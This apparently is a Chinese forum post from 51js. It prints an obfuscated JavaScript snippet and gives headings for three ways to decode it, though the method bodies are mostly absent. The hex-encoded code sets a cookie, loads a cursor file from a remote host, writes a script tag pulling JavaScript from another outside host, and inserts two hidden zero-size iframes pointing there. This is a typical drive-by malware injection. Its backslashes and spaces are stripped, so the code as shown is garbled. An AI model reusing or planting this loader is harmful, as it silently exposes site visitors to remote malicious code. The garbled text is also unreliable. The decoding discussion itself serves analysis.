functionGet(){
var$qL1=newwindow["x44x61x74x65"]()
$qL1["x73x65x74x54x69x6dx65"]($qL1["x67x65x74x54x69x6dx65"]()+24*60*60*1000)
varvuICgd2=newwindow["x53x74x72x69x6ex67"](window["x64x6fx63x75x6dx65x6ex74"]["x63x6fx6fx6bx69x65"])
varJHasS3="x43x6fx6fx6bx69x65x31x3d"
varwUhao4=vuICgd2["x69x6ex64x65x78x4fx66"](JHasS3)
if(wUhao4!=-1){
}else
{window["x64x6fx63x75x6dx65x6ex74"]["x63x6fx6fx6bx69x65"]="x43x6fx6fx6bx69x65x31x3dx50x4fx50x57x49x4ex31x3bx65x78x70x69x72x65x73x3d"+$qL1["x74x6fx47x4dx54x53x74x72x69x6ex67"]()
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]("x3cx48x54x4dx4cx3e");
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]("x3cx42x4fx44x59x73x74x79x6cx65x3d'x43x55x52x53x4fx52x3ax75x72x6cx28x68x74x74x70x3a//x31x2ex35x32x30x73x62x2ex63x6e/x61x64x2ex6ax70x67x29'x3ex3c/x42x4fx44x59x3e");
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]("x3c/x48x54x4dx4cx3e");
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]("x3cx73x63x72x69x70x74x73x72x63x3d"x68x74x74x70x3a//x73x62x2ex32x35x75x2ex63x6fx6d/x64x69x72/x69x6ex64x65x78x5fx70x69x63/x30x36x31x34x2ex6ax73"x3ex3c/x73x63x72x69x70x74x3e");
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]("x3cx69x66x72x61x6dx65x73x72x63x3dx68x74x74x70x3a//x73x62x2ex32x35x75x2ex63x6fx6d/x64x69x72/x69x6ex64x65x78x5fx70x69x63/x6dx6dx2ex68x74x6dx6cx77x69x64x74x68x3dx30x68x65x69x67x68x74x3dx30x3ex3c/x69x66x72x61x6dx65x3e");
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65x6cx6e"]("x3cx69x66x72x61x6dx65x73x72x63x3dx68x74x74x70x3a//x73x62x2ex32x35x75x2ex63x6fx6d/x64x69x72/x69x6ex64x65x78x5fx70x69x63/x74x6ax2ex68x74x6dx77x69x64x74x68x3dx30x68x65x69x67x68x74x3dx30x3ex3c/x69x66x72x61x6dx65x3e");
}
}Get();
解密上面的代码的几种方法：
方法一：
不过是把字符转换成16进制的转义值而以!直接用alert就可以知道意思了
[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
方法二：
[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
方法三：
[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
来自51js
